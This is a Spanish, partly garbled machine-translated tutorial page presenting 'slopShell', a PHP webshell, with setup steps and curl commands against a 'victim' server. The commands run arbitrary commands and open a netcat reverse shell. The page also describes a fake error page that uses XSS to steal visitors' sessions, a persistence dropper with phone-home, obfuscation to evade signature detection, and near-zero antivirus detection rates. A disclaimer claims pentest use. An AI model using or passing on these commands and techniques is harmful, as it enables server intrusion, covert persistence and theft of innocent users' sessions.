Tutoriales

¡El único webshell PHP que necesita!

slopShell es el único webshell PHP que necesitará. Así que me burlé y me olvidé de hablar sobre su uso. Aquí va.

Para que este shell funcione, necesita 2 cosas, una víctima para permitir que se carguen archivos PHP (usted mismo, en un entorno educativo) y una forma de enviar solicitudes http a este webshell.

Gracias por el apoyo de la comunidad, que significa mucho para nosotros. Ahora, las cosas que se agregan a este shell para hacerlo aún más asombroso.

  • TLS mutuo, con posibilidad de generar una CA sobre la marcha (si es posible)
  • Pipeta / cuenco refinado para garantizar que el cuenco no se tropiece durante un acceso prolongado.

Video de uso básico (alojado en Youtube):

Relación de detección de TV actual: 2/59

Total de virus

Relación de detección de TV actual (versión disfrazada): 0/59

Total de virus

configuración

Bien, vamos chicos, me picaba tener que escribir algo en PHP, así que eso es todo. Este webshell tiene algunas campanas y silbidos, y se agregan más todos los días. Necesita un servidor pgsql controlado por usted. Como sea que lo hagas, depende de ti.

Debian: apt install -y postgresql php php-pear && python -m pip install proxybroker --user

Sistemas RHEL: dnf -y -b install postgresql-server postgresql php php-pear && python -m pip install proxybroker --user

VICTORIA: install the php msi, and make sure you have an active postgresql server that you can connect to running somewhere. figure it out.

Una vez que los haya configurado correctamente y pueda confirmar que se están ejecutando. Un comando que recomendaría es con pg_ctl Puede crear la base de datos de esta manera, o al menos iniciarla e iniciarla. Entonces todas las consultas DB funcionarán.

Cómo interactuar

NOTA ACANTILADO: Para las rutinas anti-análisis, a mí (el viejo rey) me gustaría tratar de reconocer esta idea, pero no puedo con la conciencia tranquila, así que la inspiración vino de una persona (sabes quién eres, genio malvado). A este repositorio: https://github.com/NullArray/Archivist/blob/master/logger.py#L123 Primero debe seleccionar un agente de usuario válido para usar, esta es una especie de primera capa de protección contra su webshell descubierto accidentalmente por alguien que no sea usted. Usé sp / 1.1 como un agente de usuario atípico. Esto puede provocar que se muestren señales de advertencia durante un pentest y que su acceso o script se bloquee o elimine. Así que sé inteligente. La ofuscación del código no estaría de más, no agregué eso porque eso depende de ti. Para utilizar el Shell, existen algunas preferencias que le ayudarán a probar su lápiz y recorrer el dispositivo. No agregué mucho para Windows porque no me gusta desarrollar para Windows. Si ha agregado o conoce rutinas o trucos, no dude en enviar y agregar un problema con su sugerencia. Un ejemplo del uso de este webshell con curl:

curl https://victim/slop.php?qs=cqP -H "User-Agent: sp/1.1" -v

o para ejecutar comandos personalizados:

curl https://victim/slop.php --data "commander=id" -H "User-Agent: sp/1.1" -v

O para intentar configurar un shell inverso para su computadora:

curl https://victim/slop.php --data "rcom=1&mthd=nc&rhost=&rport=&shell=sh" -H "User-Agent: sp/1.1" -v

  • mthd = el método que desea utilizar para configurar el shell inverso, esto está predefinido en el $comma Array, siéntase libre de agregarlo, opcional si es nulo, el script lo elegirá por usted.
  • rhost = you, ahora esto y el rport no son necesarios porque netcat se usa por defecto con la dirección IP im $_SERVER["REMOTE_ADDR"] php env variable.
  • rport = su puerto de escucha, el valor predeterminado era 1634 solo porque.
  • shell = el tipo de shell del sistema que desea. Sé que bash no es estándar en todos los sistemas, pero por eso es bueno si ejecuta un análisis del sistema antes de intentar ejecutar este comando.

Aquí está la mejor parte de ese cuenco. Si alguien se encuentra con este shell sin especificar la cadena de agente de usuario exacta dada en el script, este shell generará un error 500 con una página de error falsa, luego usará XSS para intentar robar la información de la sesión del usuario y enviarla de vuelta a un controlador. script en su servidor / sistema. Esto luego intenta guardar la información en un archivo de registro en ejecución. Si esto no es posible, la copia de seguridad serán sus registros. Una vez que se completa el XSS, este shell dirige al usuario de regreso a la raíz (/) del servidor web. Por lo tanto, robará sesiones si alguien encuentra esto, incluso puede actualizarlo para ejecutar comandos en el servidor en nombre del usuario, o poner un shell inverso a través de Beef o algún otro método en el navegador del usuario. Las posibilidades son realmente ilimitadas.

Imágenes de casos de uso

Navegó por el navegador sin la cadena de agente de usuario correcta. (Primer nivel de autenticación)

En la terminal como se diseñó, use con curl con los interruptores -vH «User-Agent: sp1.1».

Ejemplo de un guión disfrazado:

Guión disfrazado de segunda generación:

Interacción a través del script del cliente

Una vez que el script del cliente está completo, el operador no necesita interactuar a través de curl para usar este shell. Habrá un script de cliente que le permitirá ejecutar todos los comandos. Además de este script de cliente, hay una pipeta. Este cuentagotas asegura que la secuencia de comandos se ejecutará en el inicio incluso si se elimina el sitio web. Incluyendo algunas funciones de llamada al hogar, ofuscación cuando se solicita en un nivel de 1 a 3, siendo 3 el más alto, ya que cada función está codificada en rojo y luego codificada en base64 mientras que todo el archivo base64 está codificado con un nombre aleatorio File en sí. Esto puede ayudar a evitar la detección de firmas.

Cifrado

Una vez que la rutina de cifrado se ha resuelto por completo, el script del cuentagotas se cifra y se ofusca en gran medida. Salida de muestra:

Base64 decodificada: también una prueba 123
Recién codificado: YWxzbyBhIHRlc3QgMTIz
Código: 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e
Longitud de la llave: 96
Resultado de cifrado:
Formación
(
[original] => también una prueba 123
[key] => 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e
[encrypted] => meIHs / y6_U7U ~ 7 (M
[base64_Encoded] => bWVJSAAdcw4veTZfVQU3VX43KE0 =
)
Prueba de descifrado:
Formación
(
[key] => 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e
[encrypted] => meIHs / y6_U7U ~ 7 (M
[decrypted] => YWxzbyBhIHRlc3QgMTIz
[base64_decoded] => también una prueba 123
[original] => también una prueba 123
)

Adicionalmente

Eso debería permanecer en privado. Pero tomé una decisión diferente.

No abuse de esta portada y tenga una firma adjunta. Esto es bastante sigiloso en este momento, ya que es completamente nuevo.

Como operador, no soy responsable del mal uso de este producto. Esto se publicó con fines legítimos de pruebas de penetración / equipos rojos y / o con fines educativos. Antes de usar este script, familiarícese con las leyes de su país de residencia y no infrinja la ley mientras lo usa. Gracias y que tenga un buen día.

Si te gustó este script, es obligatorio que me sigas y arrojes una estrella en este repositorio … porque las versiones futuras tendrán más funciones (o errores) dependiendo de cómo lo mires.

LEER  Rust Fundamentals Series #7: Uso de bucles en Rust

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba